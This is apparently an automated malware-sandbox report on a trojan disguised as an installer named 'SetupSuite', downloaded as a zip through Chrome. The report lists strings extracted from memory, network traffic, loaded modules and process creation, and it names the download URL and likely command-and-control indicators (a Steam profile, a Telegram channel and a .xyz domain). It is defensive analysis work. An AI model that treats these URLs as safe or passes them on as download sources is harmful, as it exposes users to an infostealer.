Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: Amcache.hve.18.dr	String found in binary or memory: http://upx.sf.net
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://www.2brightsparks.com/foc/foc-v-check.txt
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://www.2brightsparks.com/onclick/help/
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://www.2brightsparks.com/onclick/index.html
Source: SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://www.codeplex.com/DotNetZip
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.000000000568F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B2D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, explorer.exe, 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715fgshMozilla/5.0
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://t.me/sa9ok
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://t.me/sa9okfgshhttps://steamcommunity.com/profiles/76561199658817715sql.dllsqlm.dllMozilla/5.
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://tufure.xyz
Source: cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	String found in binary or memory: https://tufure.xyzCristina
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49748 version: TLS 1.2

System Summary

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File dump: C:\Users\user\Downloads\Setup7-main.zip (copy)			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File dump: C:\Users\user\Downloads\Setup7-main (1).zip (copy)			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe

Code function: 11_2_0043FCEE NtQuerySystemInformation,

11_2_0043FCEE

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0E0890	15_2_0C0E0890
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0CC4E0	15_2_0C0CC4E0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0E2900	15_2_0C0E2900
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0DE9E0	15_2_0C0DE9E0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0DEDF0	15_2_0C0DEDF0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0F5671	15_2_0C0F5671
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0C96D0	15_2_0C0C96D0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0EC378	15_2_0C0EC378
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0C5BB0	15_2_0C0C5BB0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0E4700	15_2_0C0E4700

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 460

Source: SetupSuite_21.8_win64_86_sm.exe.7.dr

Static PE information: Resource name: RT_RCDATA type: PE32 executable (console) Intel 80386, for MS Windows

Source: SetupSuite_21.8_win64_86_sm.exe.7.dr

Static PE information: Number of sections : 11 > 10

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.win@38/25@14/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\48229e1c-771a-4600-8b0c-41f99e895e09.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5020:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3852
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5004:120:WilError_03

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: explorer.exe	String found in binary or memory: more-help
Source: explorer.exe	String found in binary or memory: wild-stop-dirs

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2228,i,1968892779595750775,1565356309331752868,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://fahrerdokument.com/zip3/"
